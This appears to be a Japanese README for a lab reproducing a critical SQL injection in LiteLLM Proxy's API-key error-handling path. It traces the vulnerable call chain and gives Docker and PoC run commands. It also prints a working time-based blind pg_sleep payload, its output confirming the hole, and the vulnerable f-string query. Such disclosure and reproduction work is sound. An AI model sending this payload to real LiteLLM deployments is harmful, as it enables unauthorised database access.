
LiteLLM ProxyのAPIキー認証における重大なSQLインジェクションの再現環境。時間ベースのブラインドPoCとテスト用Dockerセットアップを含む。
| 項目 | 詳細 |
|---|
| アドバイザリ | GHSA-r75f-5x8p-qvmc |
| 種別 | SQLインジェクション(CWE-89) |
| 深刻度 | Critical |
| 影響を受けるバージョン | litellm >=1.81.16, <1.83.7 |
| 修正バージョン | litellm >=1.83.7(コミット 4dc416ee74) |
インジェクションはエラーハンドリングコールバック経路で発生します。メインの認証フローではありません。sk- プレフィックスを持たないトークンが送信されると、アサーションが失敗し、生の(ハッシュ化されていない)トークンが失敗コールバックチェーンを通って、f-string補間を使用するSQLクエリに流れ込みます:
HTTPリクエスト: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") が失敗
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← インジェクション
メインの sk- 認証経路は悪用できません。トークンはクエリに到達する前にSHA256でハッシュ化され、[0-9a-f] 文字のみが生成されるためです。
docker compose up -d
これにより、PostgreSQLバックエンドを備えたLiteLLM Proxy(v1.83.3-stable)が起動します。
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed


PostgreSQLの pg_sleep() は void を返すため、ブールコンテキスト(OR)では使用できません。ペイロードはサブクエリでラップすることで型エラーを回避しています:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
これは litellm/proxy/utils.py の combined_view クエリに注入されます:
# 脆弱なコード(<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← ユーザー入力のf-string補間
"""